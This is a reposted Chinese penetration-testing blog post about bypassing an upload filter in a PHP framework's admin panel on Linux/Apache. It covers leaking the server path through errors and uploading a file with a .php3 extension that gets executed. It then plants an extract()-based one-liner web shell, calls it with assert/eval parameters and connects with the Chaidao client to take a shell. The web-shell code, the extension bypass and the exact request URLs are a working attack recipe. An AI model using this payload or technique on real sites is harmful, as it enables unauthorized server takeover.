码迷,mamicode.com
首页 > Web开发 > 详细

【框架上传突破】一次linux+php框架的上传突破

时间:2017-06-13 12:42:34      阅读:255      评论:0      收藏:0      [点我收藏+]

标签:aec   观察   参数   txt   生成文件   地址   应该   文件的   dex   

转载:http://tieba.baidu.com/p/4480493887

后台:
test.com/y/?m=qidianAdmin&d=3

【信息探测】↓
-----------------------------------------------信息探测------------------------------------------------------

从链接基本确定是框架写的

审查元素看了下平台,apache 基本确定是php

容错做的不好,访问ks_inc/conn.php?a=sdgsdhjgkjsdgd 爆出物理路径
/www/users/jxxxxx.com/ks_inc/conn.php


得到目录/ks_inc
linux系统+php框架突破上传的话,后面可能需要一些有权限的路径。不然可能导致不解析。

---------------------------------------------------信息探测--------------------------------------------------

后台首页如下;如图1
技术分享


先看了下网站设置没有敏感功能,那就找上传了。
【上传点情况】
自带上传+fck编辑器
fck基本不用看,很难配合apache拿shell。而且还是高版本。

自带上传也是框架,上传抓不到包,只有整体提交才行(猎鹰能XSS拿到后台也不容易,一般框架后台都自动转义)。

先上传一个正常图片,返回如下↓

http://www。test。com/5df209c2-169c-4acb-9c78-a4bbc6823675
不带后缀,只是一个预览效果。

整体提交后,前面上传的图片返回路径如下↓
/u/20160414/161042228331767761754-5135-77-20.jpg

确定了,真实生成文件是在整体提交,前面只是一个预览的作用。


于是在新闻界面上传,如图2↓
技术分享


【POST包内容】
包如图3、4、5↓
技术分享
技术分享
技术分享

【得到信息】↓
POST提交地址:m=qidianAdmin&d=3&ifr=1&st=60&c=info_edit

这里qidianAdmin作为文件不能动,那就有几个参数了:d、ifr、c、

没有控制路径和文件的参数,测试发现info_edit参数不可变,否则上传失败。
其他参数基本控制的新闻类型,无意义。

带了个cookie,没什么用。

下面的新闻内容参数控制的新闻内容,对路径和文件名无意义。

下面有个参数
name="newdate"

0000-00-00

基本就是对应上传后的文件名的随机值。
类似这种:5135-77-20

删除后仍然正常上传,修改也无异常。


直接上传php不允许,这里直接修改成php提交。改一下编码便于观察↓如图6
技术分享



看一下新闻列表的内容↓如图7
技术分享



<img src="/"
审查元素看了下路径,图片路径已经置为网站根路径,访问也是到了网站首页。

【测试】
1.上传正常图片看结果
结果:图片显示正常,返回路径为:/u/20160414/161042252360541709029-5135-77-20.jpg 如图8↓

技术分享




2.改为asp后缀
结果:也是和php结果一样,无路径,上传失败。

3.改为不识别后缀aaaa 如下图9↓
技术分享





结果:访问不解析,直接提示下载了。另外确实在网站为.aaaa后缀存在,以图片显示。


然后尝试用php4 php1 ashx cdx,都不解析,提示下载。


尝试到php3后缀时,图片正常显示。访问如图10↓
技术分享


基本确定当做php来解析了。


下面直接在包里面插上一句话,结果就报错。换了几个函数的一句话也不行,最后插上传参一句话来解决。

插入:
<?php extract($_GET).$a($b[0]);?>
这样就一个extract函数了,伪全局应该没问题了吧。



上传后得到路径
http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3

给加上参数访问
http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3?a=assert&b[0]=eval($_POST[yebaqi5]);


如图12↓
技术分享



菜刀连接:http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3?a=assert&b

[0]=eval($_POST[yebaqi5]);

如图13↓
技术分享




好了,拿到shell


【总结】
突破框架php上传的话,还是要配合各种搭建平台的解析特性,虽然我这里没办法配合。这个apache解析成脚本后直接到首页,上传pphphp得知未过滤,还是配置的问题。


基本上框架写的上传,多少都存在问题,基本上都是后缀问题。

【框架上传突破】一次linux+php框架的上传突破

标签:aec   观察   参数   txt   生成文件   地址   应该   文件的   dex   

原文地址:http://www.cnblogs.com/websecyw/p/7000222.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!